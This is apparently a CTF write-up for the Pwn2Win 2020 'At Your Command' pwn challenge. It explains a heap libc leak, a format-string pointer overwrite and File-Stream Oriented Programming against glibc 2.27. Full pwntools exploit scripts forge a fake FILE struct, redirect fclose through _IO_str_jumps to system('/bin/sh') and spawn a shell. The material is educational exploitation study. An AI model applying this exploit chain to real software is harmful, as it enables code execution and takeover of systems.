Select Page

Playing with File-Stream Oriented Programming (FSOP)!

This is a PWN challenge (263 pt, 27 solves).

Through reverse engineering work on Pixel 6, we identified the ButcherCorp server responsible for programming the RBSes. Our exploration team was only able to have limited access to this machine and extract the binaries from the programming service. As it runs with high privilege, exploiting it will allow us to extract more data from that server. Those data will bring us closer to the discovery of the person responsible for the Rebellion. Can you help us with this task?
Server: nc command.pwn2.win 1337


peilin@PWN:~/pwn2winctf-2020$ tar -xvf at_your_command.tar.gz
at_your_command/command
at_your_command/libc.so.6
at_your_command/
peilin@PWN:~/pwn2winctf-2020$ cd at_your_command
peilin@PWN:~/pwn2winctf-2020/at_your_command$ file command
command: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=66620437ea7a9cb38d86b283dbdb27d8a51b8936, stripped
peilin@PWN:~/pwn2winctf-2020/at_your_command$ checksec command
[*] ‘/home/user/pwn2winctf-2020/at_your_command/command’
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
peilin@PWN:~/pwn2winctf-2020/at_your_command$
strings libc.so.6 | grep “version 2.”
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.

Okay. Full protection, libc version is 2.27.


Let’s see what it does:

peilin@PWN:~/pwn2winctf-2020/at_your_command$ ./command
Welcome to the command system
=============================
Your name: ypl
Welcome ypl


Choose an option:
1. Include command
2. Review command
3. Delete command
4. List commands
5. Send commands
> 1
Priority:
Command:
The command has been included at index 0

Choose an option:
1. Include command
2. Review command
3. Delete command
4. List commands
5. Send commands
> 5

Sending commands…
Are you sending the commands to which rbs?

You command Mr. ypl!

Oh, sorry for the typo…My name is actually %p%p%p%p! 🙂

peilin@PWN:~/pwn2winctf-2020/at_your_command$ ./command
Welcome to the command system
=============================
Your name: %p%p%p%p
Welcome %p%p%p%p

You command Mr. (nil)(nil)(!

That’s not my name. 🙁 Basically, in a function at offset 0x123d (I call it do_send()), we have something like:

    snprintf(&src, 0xCuLL, buf);

This gives us 12 bytes to carry out a format string attack.


There’s another vulnerability in the Include option at offset 0xe55:

int __fastcall sub_E55(__int64 a1, __int64 a2)
{
  signed int i; // [rsp+14h] [rbp-1Ch]
  ssize_t v4; // [rsp+18h] [rbp-18h]

  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
      return puts("[INFO] The authorized limit has been reached!");
    if ( !*(_QWORD *)(8LL * i + a1) )
      break;
  }
  *(_QWORD *)(8LL * i + a1) = malloc(0x188uLL);
  printf("Priority: ");
  **(_QWORD **)(8LL * i + a1) = (signed int)sub_CE0("Priority: ", a2);
  printf("Command: ");
  v4 = read(0, (void *)(*(_QWORD *)(8LL * i + a1) + 8LL), 0x170uLL);
  if ( v4 )
  {
    if ( *(_BYTE *)(*(_QWORD *)(8LL * i + a1) + v4 - 1 + 8) == 10 )
      *(_BYTE *)(*(_QWORD *)(8LL * i + a1) + v4 - 1 + 8) = 0;
  }
  return printf("The command has been included at index %d\n", (unsigned int)i);
}

The program calls malloc(0x188) to save our input data, but never initialize it – so let’s pick off a chunk from unsorted bin then leak some libc pointers from it (using either Review or List):

#!/usr/bin/env python
from pwn import *

e = ELF("./command", checksec=False)

def include(pri, cmd):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"Priority: ", str(pri))
    p.sendafter(b"Command: ", cmd)

def review(idx):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"Command index: ", str(idx))

def delete(idx):
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b"Command index: ", str(idx))
 
def dummy(n):
    return cyclic(n)

if __name__ == "__main__":
    p = process(e.path, level="error")

    p.recvuntil("Your name: ")
    p.send(b"whatever")

    for _ in range(10):
        include(0, dummy(0x170))
    
    # put a chunk into unsorted bin
    for i in range(9):
        delete(i)

    for _ in range(8):
        include(0, dummy(0x170))
        
    # pick off the chunk from unsorted bin...
    # ...but don't overwrite too much!
    include(0, dummy(0x1))

    # so that we can print it and leak libc
    review(8)
    p.recvuntil("Command: ")
    libc_base = ((u64(p.recvline().strip().rjust(6, b"\x00").ljust(8, b"\x00")) - 0x3eb000) & ~0xfff)
    success(f"libc: {hex(libc_base)}")
    p.close()
peilin@PWN:~/pwn2winctf-2020/at_your_command$ python3 leak.py
[+] libc: 0x7ffff79e4000

Nice.


Now what? Let’s take a closer look at what happens after we choose to Send:

  stream = fopen(filename, modes);
  if ( !stream )
  {
    printf("[ERROR] An error happened while opening the file", modes, 0LL);
    exit(2);
  }
  do_send((__int64)&s, &stream);
  fclose(stream);
  return 0LL;
}

The program opens a file, calls do_send() (which contains the snprintf() in question), closes it, then simply returns.

Since we only have 12 bytes for the format string attack, we will have to reuse a pointer on the stack. Let’s break right before the vulnerable snprintf() and see:

pwndbg> x/10gx $rsp
0x7fffffffe330: 0x00007fffffffe390 0x00007fffffffe3a0
0x7fffffffe340: 0x0000000a55756080 0x0000000000000001
0x7fffffffe350: 0x0000000000000000 0x0000000000000000
0x7fffffffe360: 0x0000000000000000 0x0000000000000000
0x7fffffffe370: 0x00007fff00000000 0x726bb597bc8b8300
pwndbg> i r rbp
rbp 0x7fffffffe380 0x7fffffffe380

[rbp-0x50] is a pointer of pointer to the file (struct _IO_FILE_plus) we just opened:

pwndbg> x/gx 0x00007fffffffe390
0x7fffffffe390: 0x00005555557573f0
pwndbg> p *(struct _IO_FILE_plus *)0x00005555557573f0
$1 = {
  file = {
    _flags = -72536956,
    _IO_read_ptr = 0x555555757620 “Id: 0\n8848:deadbeefcafebabe\n“,
    _IO_read_end = 0x555555757620 “Id: 0\n8848:deadbeefcafebabe\n“,
    _IO_read_base = 0x555555757620 “Id: 0\n8848:deadbeefcafebabe\n“,
    _IO_write_base = 0x555555757620 “Id: 0\n8848:deadbeefcafebabe\n“,
    _IO_write_ptr = 0x55555575763a “”,
    _IO_write_end = 0x555555758620 “”,
    _IO_buf_base = 0x555555757620 “Id: 0\n8848:deadbeefcafebabe\n“,
    _IO_buf_end = 0x555555758620 “”,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7ffff7dd0680 <_IO_2_1_stderr_>,
    _fileno = 3,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 ‘\000’,
    _shortbuf = “”,
    _lock = 0x5555557574d0,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x5555557574e0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = -1,
    _unused2 = ‘\000’ <repeats 19 times>
  },
  vtable = 0x7ffff7dcc2a0 <_IO_file_jumps>
}

fopen() allocated (by calling malloc()) and initialized this structure on heap.

My plan is: I write a fake _IO_FILE_plus struct onto the heap. Since the real struct is also on the heap, chances are I can partially overwrite the struct pointer to make it point to my fake struct (by using the hn or hhn format specifiers), so that later fclose() will close our fake struct instead of the real one. Ideally, by crafting the fake struct with care, we can confuse fclose() into popping a shell for us. This technique is known as File-Stream Oriented Programming (FSOP).

How? Let’s take a closer look at fclose() (2.27). Internally, it is called _IO_new_fclose(). In libio/iofclose.c:32:

int
_IO_new_fclose (_IO_FILE *fp)
{
  int status;

  CHECK_FILE(fp, EOF);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
  /* We desperately try to help programs which are using streams in a
     strange way and mix old and new functions.  Detect old streams
     here.  */
  if (_IO_vtable_offset (fp) != 0)
    return _IO_old_fclose (fp);
#endif

  /* First unlink the stream.  */
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

  _IO_acquire_lock (fp);
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  _IO_release_lock (fp);
  _IO_FINISH (fp);
  if (fp->_mode > 0)
    {
      /* This stream has a wide orientation.  This means we have to free
	 the conversion functions.  */
      struct _IO_codecvt *cc = fp->_codecvt;

      __libc_lock_lock (__gconv_lock);
      __gconv_release_step (cc->__cd_in.__cd.__steps);
      __gconv_release_step (cc->__cd_out.__cd.__steps);
      __libc_lock_unlock (__gconv_lock);
    }
  else
    {
      if (_IO_have_backup (fp))
	_IO_free_backup_area (fp);
    }
  if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
    {
      fp->_IO_file_flags = 0;
      free(fp);
    }

  return status;
}

Let’s focus on line 57, where it does _IO_FINISH (fp);. _IO_FINISH is a macro defined in libio/libioP.h, which essentially triggers a function pointer in vtable of the _IO_FILE_plus struct.

Remember that struct _IO_FILE_plus is defined in libio/libioP.h:322 as:

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

Let’s go back to GDB and see how it looks like in memory:


  vtable = 0x7ffff7dcc2a0 <_IO_file_jumps>
}
pwndbg> xinfo 0x7ffff7dcc2a0
Extended information for virtual address 0x7ffff7dcc2a0:

  Containing mapping:
    0x7ffff7dcb000     0x7ffff7dcf000 r–p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so

pwndbg> p *(struct _IO_jump_t *)0x7ffff7dcc2a0
$2 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7a70330 <_IO_new_file_finish>,
__overflow = 0x7ffff7a71300 <_IO_new_file_overflow>,
__underflow = 0x7ffff7a71020 <_IO_new_file_underflow>,
__uflow = 0x7ffff7a723c0 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a73c50 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7a6f930 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7a6f590 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7a6eb90 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7a72990 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a6e850 <_IO_new_file_setbuf>,
__sync = 0x7ffff7a6e6d0 <_IO_new_file_sync>,
__doallocate = 0x7ffff7a62100 <__GI__IO_file_doallocate>,
__read = 0x7ffff7a6f910 <__GI__IO_file_read>,
__write = 0x7ffff7a6f190 <_IO_new_file_write>,
__seek = 0x7ffff7a6e910 <__GI__IO_file_seek>,
__close = 0x7ffff7a6e840 <__GI__IO_file_close>,
__stat = 0x7ffff7a6f180 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7a73dd0 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a73de0 <_IO_default_imbue>
}

As you can see, the vtable field contains a struct _IO_jump_t pointer, pointing at this read-only table inside libc. Essentially what _IO_FINISH does is finding a function pointer at offset 0x10 of the table, in our case, _IO_new_file_finish.

For libc versions <= 2.23, exploiting this was trivial. We simply make vtable point to somewhere we control, and put 0xdeadbeef at offset 0x10. Then, whenever _IO_FINISH thinks it is calling _IO_new_file_finish(), it is actually calling 0xdeadbeef instead. Easy PC control!


But we are dealing with 2.27. 🙁 Since 2.24, libc has introduced more checks on vtable. For example, go down through the layers of definition of _IO_FINISH in 2.27, and you will see a function called IO_validate_vtable() (defined in libio/libioP.h:865) being called before vtable is referenced. IO_validate_vtable() checks whether the vtable pointer is actually pointing into that read-only data region inside libc. If it is not, it calls _IO_vtable_check() to do more checks, which is likely to abort the entire process. In short, we can’t just point vtable to anywhere we can write to.

So now what? Fortunately, _IO_file_jumps is not the only vtable inside that region. There’s another one, called _IO_str_jumps, right after _IO_file_jumps:

pwndbg> p &_IO_file_jumps
$3 = (const struct _IO_jump_t *) 0x7ffff7dcc2a0 <_IO_file_jumps>
pwndbg> p &_IO_str_jumps
$4 = (const struct _IO_jump_t *) 0x7ffff7dcc360 <_IO_str_jumps>
pwndbg> p _IO_str_jumps
$5 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7a74300 <_IO_str_finish>,
__overflow = 0x7ffff7a73f60 <__GI__IO_str_overflow>,
__underflow = 0x7ffff7a73f00 <__GI__IO_str_underflow>,
__uflow = 0x7ffff7a723c0 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a742e0 <__GI__IO_str_pbackfail>,
__xsputn = 0x7ffff7a72420 <__GI__IO_default_xsputn>,
__xsgetn = 0x7ffff7a725d0 <__GI__IO_default_xsgetn>,
__seekoff = 0x7ffff7a74430 <__GI__IO_str_seekoff>,
__seekpos = 0x7ffff7a72990 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a72860 <_IO_default_setbuf>,
__sync = 0x7ffff7a72c50 <_IO_default_sync>,
__doallocate = 0x7ffff7a72a00 <__GI__IO_default_doallocate>,
__read = 0x7ffff7a73db0 <_IO_default_read>,
__write = 0x7ffff7a73dc0 <_IO_default_write>,
__seek = 0x7ffff7a73d90 <_IO_default_seek>,
__close = 0x7ffff7a72c50 <_IO_default_sync>,
__stat = 0x7ffff7a73da0 <_IO_default_stat>,
__showmanyc = 0x7ffff7a73dd0 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a73de0 <_IO_default_imbue>
}

As you can see _IO_str_jumps also contains a whole bunch of interesting function pointers. By slightly and carefully adjusting our fake vtable pointer, we can replace _IO_new_file_finish() with other function pointers in the same read-only region.

It turns out that, at the same offset, 0x10, of _IO_str_jumps, _IO_str_finish() is actually a very interesting function, defined in libio/strops.c:345:

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

fp is our struct _IO_FILE pointer, but on line 349, the program casts it into a struct _IO_strfile pointer, takes its _s._free_buffer field as a function pointer, and calls it with fp->_IO_buf_base as the single argument.

struct _IO_strfile is defined in libio/strfile.h:49. I’ll do the math for you: ((_IO_strfile *) fp)->_s._free_buffer equals to fp plus 0xe8.


Now we are ready to build our fake struct _IO_FILE_plus. Let’s call it fake.

When the program tries to call fclose() on fake, it should eventually call _IO_FINISH. We point fake.vtable to _IO_str_jumps, so that when _IO_FINISH thinks it is calling _IO_new_file_finish(), it is actually calling _IO_str_finish() instead.

We put the address of system() at &fake + 0xe8, then set fake._IO_buf_base to the address of "/bin/sh\0", so that when _IO_str_finish() does (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base), it is actually doing system("/bin/sh")!

Phew, that was a lot. Well, of course you could simply try putting the address of a one_gadget at &fake + 0xe8, but this time all three one_gadgets didn’t work out for me (God Rest Ye Merry, movaps). 🙂


One last thing. fclose() is a pretty long function, and it branches. You may want to make sure that your fake (especially fake._flags) contain the appropriate values that lead us to the right code path:

On libio/iofclose.c, line 48, 51 and 52:

  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

  _IO_acquire_lock (fp);
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  _IO_release_lock (fp);
  _IO_FINISH (fp);

For line 48 and 52, if they pass, the program calls some long and annoying functions. You may want to make sure that fake._flags & 0x2000 == 0 to make them fail.

For line 51, if _IO_USER_LOCK is set in fake._flags, _IO_acquire_lock() simply returns without doing anything that may crash our exploit. Make sure that fake._flags & 0x8000 == 1.

Finally, in _IO_str_finish(), on libio/strops.c:348:

  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);

Right before our system("/bin/sh")! Definitely make sure that fake._IO_buf_base is not empty, and fake._flags & 0x1 == 0.

All these macro definitions can be found in libio/bits/libio.h.


Here is my script. It does a 2-byte partial overwrite on that struct _IO_FILE_plus pointer, so the success rate is 1/16.

#!/usr/bin/env python
from pwn import *

e = ELF("./command")
l = ELF("./libc.so.6", checksec=False)  # 2.27

def include(pri, cmd):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"Priority: ", str(pri))
    p.sendafter(b"Command: ", cmd)

def review(idx):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"Command index: ", str(idx))

def delete(idx):
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b"Command index: ", str(idx))
 
def send():
    p.sendlineafter(b"> ", b"5")
    p.sendlineafter(b"to which rbs?", b"PWN!")

def dummy(n):
    return cyclic(n)

if __name__ == "__main__":
    p = remote("command.pwn2.win", 1337)

    p.recvuntil("Your name: ")
    p.send(b"%32896c%4$hn") # 0x8080

    # put a chunk into unsorted bin
    for _ in range(10):
        include(0, dummy(0x170))
    for i in range(9):
        delete(i)

    for _ in range(8):
        include(0, dummy(0x170))
    # pick off the chunk from unsorted bin...
    # ...but don't overwrite too much!
    include(0, dummy(0x1))

    # so that we can print it and leak libc
    review(8)
    p.recvuntil("Command: ")
    libc_base = ((u64(p.recvline().strip().rjust(6, b"\x00").ljust(8, b"\x00")) - 0x3eb000) & ~0xfff)

    # https://libc.blukat.me/d/libc6_2.27-3ubuntu1_i386.symbols
    str_bin_sh = libc_base + 0x1b3e9a
    libc_system = libc_base + 0x04f440

# idea: fake _IO_FILE_plus
# 1) set `vtable` to `_IO_str_jumps` instead of `_IO_file_jumps`
# 2) so that, instead of _IO_new_file_finish(), fclose() will call _IO_str_finish(), which does:
#    libio/strops.c:349: (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
# 3) set `((_IO_strfile *) fp)->_s._free_buffer` to system()
# 4) set `fp->_IO_buf_base` to "/bin/sh"
# 5) take care of other restrictions for things to work

    _io_str_jumps = libc_base + 0x3e8360
    success("__IO_str_jumps: {0}".format(hex(_io_str_jumps)))

    from FILE import *
    context.arch = "amd64"
    fake_file = IO_FILE_plus_struct()

    fake_file._flags = 0x8000
    fake_file._IO_buf_base = str_bin_sh
    fake_file.vtable = _io_str_jumps

    # restriction:
    # libio/iofclose.c:48/52: if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    assert(fake_file._flags & 0x2000 == 0)  # libio/bits/libio.h:112: #define _IO_IS_FILEBUF 0x2000

    # libio/iofclose.c:51: _IO_acquire_lock (fp);
    assert(fake_file._flags & 0x8000 != 0)  # libio/bits/libio.h:114: #define _IO_USER_LOCK 0x8000

    # libio/strops.c:348: if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    assert(fake_file._IO_buf_base)
    assert(fake_file._flags & 1 == 0)       # libio/bits/libio.h:99: #define _IO_USER_BUF 1

    payload  = dummy(8)
    payload += fake_file.pack()
    # 0xe0
    payload += dummy(8)
    # 0xe8
    payload += p64(libc_system) # ((_IO_strfile *) fp)->_s._free_buffer

    delete(9)
    include(0, payload)
    # trigger printf() and fclose()
    send()
    p.interactive()

I modified the struct _IO_FILE_plus constructor module (FILE.py) by Veritas501 to make it work with python3.


$ cd home
$ ls
commander
ubuntu
$ cd commander
$ ls
command
commander
flag.txt
libc.so.6
$ cat flag.txt
CTF-BR{_wh4t_4_fUn_xpl_ch41n_mY_c0mm4nd3r_}

Awesome! That was indeed a fUn xpl ch41n!


Side note about _IO_acquire_lock: It is also possible to turn off the _IO_USER_LOCK bit in fake._flags. In that case, _IO_acquire_lock will try to write something to fake._lock + 0x8, so remember to set it to somewhere writable (I tried setting it to __malloc_hook, and it worked).


References: